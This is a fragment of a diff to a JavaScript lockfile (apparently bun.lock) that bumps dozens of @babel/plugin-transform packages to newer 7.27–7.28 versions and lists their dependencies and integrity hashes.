+ "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
- "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ=="],
+ "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
- "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q=="],
+ "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
- "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA=="],
+ "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
- "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw=="],
+ "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
- "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.26.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.26.0", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ=="],
+ "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
- "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-validator-identifier": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA=="],
+ "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
- "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw=="],
+ "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
- "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA=="],
+ "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
- "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ=="],
+ "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
- "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.26.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw=="],
+ "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
- "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q=="],
+ "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
- "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg=="],
+ "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
- "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A=="],
+ "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
- "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g=="],
+ "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
- "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A=="],
+ "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
- "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g=="],
+ "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
- "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw=="],
+ "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
- "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw=="],
+ "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
- "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA=="],
+ "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
- "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GnvhtVfA2OAtzdX58FJxU19rhoGeQzyVndw3GgtdECQvQFXPEZIOVULHVZGAYmOgmqjXpVpfocAbSjh99V/Fqw=="],
+ "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
- "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/types": "^7.23.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5xOpoPguCZCRbo/JeHlloSkTA8Bld1J/E1/kLfD1nsuiW1m8tduTA1ERCgIZokDflX/IBzKcqR3l7VlRgiIfHA=="],
+ "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
- "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.22.5", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A=="],
+ "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
- "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg=="],
+ "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw=="],
- "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg=="],
+ "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw=="],
- "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.23.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qMFdSS+TUhB7Q/3HVPnEdYJDQIk57jkntAwSuz9xfSE4n+3I+vHYCli3HoHawN1Z3RfCz/y1zXA/JXjG6cVImQ=="],
+ "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
- "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg=="],
+ "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
- "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.26.0", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw=="],
+ "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
- "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg=="],
+ "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
"@babel/plugin-transform-runtime": ["@babel/plugin-transform-runtime@7.23.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7clW3a0aSjm3ONU9o2HAILSegJCYlEZmOhmBRReVtIpY/Z/p7yIZ+wR41Z+UipwdGuqwtID/V/dOdZXjwi9gQ=="],
- "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng=="],
+ "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
- "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A=="],
+ "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
- "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA=="],
+ "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
- "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OmGDL5/J0CJPJZTHZbi2XpO0tyT2Ia7fzpW5GURwdtp2X3fMmN8au/ej6peC/T33/+CRiIpA8Krse8hFGVmT5Q=="],
+ "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
- "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.26.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jfoTXXZTgGg36BmhqT3cAYK5qkmqvJpvNrPhaK/52Vgjhw4Rq29s9UqpWWV0D6yuRmgiFH/BUVlkl96zJWqnaw=="],
+ "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
